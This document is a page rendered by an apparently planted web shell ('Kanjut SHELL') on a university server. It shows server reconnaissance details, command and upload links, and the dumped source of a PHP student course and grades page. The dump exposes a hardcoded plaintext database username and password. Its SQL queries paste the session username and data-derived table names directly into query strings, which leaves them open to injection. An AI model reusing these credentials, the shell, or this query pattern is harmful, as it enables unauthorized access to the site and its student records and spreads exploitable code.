Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.227.72.24
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/cngray/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/cngray/www/BBCourses.php
<?php
session_start();
if(!isset($_SESSION['username'])){
	header("location:BBWelcome.php");
} else {
?>
<html>
<center>
<?php

        $username = $_SESSION['username'];
        $pass = $_SESSION['pass'];
        $check = $_SESSION['check'];
        $_SESSION['username'] = $username;
        $_SESSION['pass'] = $pass;
        $_SESSION['check'] = 2;
        $host = 'localhost';
        $user = 'cngray';
        $passwd = 'vwccscngray';

	$database = 'cngray';
        $connect = mysqli_connect($host, $user, $passwd);
        mysqli_select_db($connect, $database);

        $query = "select * from BBUsers";
        $Result_id = mysqli_query($connect, $query);

		if($Result_id)
        	{
			mysqli_data_seek(mysqli_query($connect, "select FName from BBUsers where Username like '$username'"), 0);
   $fetch = mysqli_fetch_array(mysqli_query($connect, "select FName from BBUsers where Username like '$username'"));
   $Fname = $fetch[0];
                        mysqli_data_seek(mysqli_query($connect, "select LName from BBUsers where Username like '$username'"), 0);
                        $fetch = mysqli_fetch_array(mysqli_query($connect, "select LName from BBUsers where Username like '$username'"));
                        $Lname = $fetch[0];


			mysqli_data_seek(mysqli_query($connect, "select Year from BBUsers where Username like '$username'"), 0);
   $fetch = mysqli_fetch_array(mysqli_query($connect, "select Year from BBUsers where Username like '$username'"));
   $PorS = $fetch[0];
			if($PorS > 0)
			{
                                $FL = $Fname[0];
                               	$USERNAME = $FL.$Lname;;
                                $USERNAME = strtolower($USERNAME);

				$query = "select * from $USERNAME";                      
        			$Result_id = mysqli_query($connect, $query)or die(mysqli_error($connect));
				if($Result_id)
				{
					print "<font size = 10> Courses </font><br>";
					print "<hr><hr>";
					print "<br><font size = 5>";
					print "Current Courses:<br>";
                			print '<table border = 1>';
                			print "<th> Class <th> Assignment <th> Grade ";
                			while($row = mysqli_fetch_row($Result_id))
                			{       print '<tr>';
                        			foreach($row as $field)
                                			print "<td> $field </td> ";
                        			print '</tr>';
                			}
                			print '<table border = 0>';
 
				}
				else
					print "Fail to output courses for student\n\n";
			}
			elseif($Pors == 0)
			{
				$Lquery = "select LName from BBUsers where Username like '$username'";
				mysqli_data_seek(mysqli_query($connect, "select LName from BBUsers where Username like 
					'$username'"), 0);
    $fetch = mysqli_fetch_array(mysqli_query($connect, "select LName from BBUsers where Username like 
					'$username'"));
    $LN = $fetch[0];
				$Result_id = mysqli_query($connect, $Lquery);

				if($Result_id)
				{ 
					$Cquery = "select Course from Courses where Prof like '$LN'";
					$CResult_id = mysqli_query($connect, $Cquery);
					if($CResult_id)
					{
 				
						$Course_Array = array();
						$i = 0;
						while($row = mysqli_fetch_row($CResult_id))
							foreach($row as $field)
							{
								$Course_Array[$i] = $field;
								$i++;
							}
						Print "Current Courses:<br>";
						for($x = 0; $x < sizeof($Course_Array); $x++)
						{
							$class = $Course_Array[$x];
							$class = str_replace(' ','', $class);

							$query = "select Student from $class";
                               				$Result_id = mysqli_query($connect, $query);
							$numrows = mysqli_num_rows($Result_id);?>
							<form action = "BBAA.php" method = post><?php
                               				if($Result_id)
                               				{	?>
								
								<?php print "Course: $Course_Array[$x]\n";
								if($numrows == 0)
								{
									print "<br>No Students in $class<br>";
								}
								else
								{
                               						print '<table border = 1>';
                               						print "<th>  Students ";
                               						while($row = mysqli_fetch_row($Result_id))
                               						{
								        	print '<tr>';
                                       						foreach($row as $field)
                                               						print "<td> $field </td> ";
                                       						print '</tr>';
                               						}
                               						print '<table border = 0>';
								}
								$_SESSION['class'] = $Course_Array[$x];
								$_SESSION['pro'] = $LN;


								print "<br><br>";
								
							}
							else
								print "Fail to get Students in class<br><br>";
						
						
						}
						?>
						<select name = course>
						<?php for($q = 0; $q < count($Course_Array); $q++)
							print "<option> $Course_Array[$q] </option>";
						?>
						</select>
						<br><input type = submit value = "Add/Remove Students" name = "ar">
                                                <INPUT Type=submit VALUE="Assignments" name = "ass">
                                                <?php


					}
					else
						print "Fail to get Courses\n\n";
				}
				else
					print "Fail to get Professor information\n\n";
			}
			print "\n\n";?>
                	<br><br><INPUT Type=button VALUE='Back' onClick = 'location.href = "BBMain.php"'>
			<?php
		}
		else
			print "Fail to get user data\n\n";
	}

	mysqli_close($connect);

?>

Stv3n404 - 2023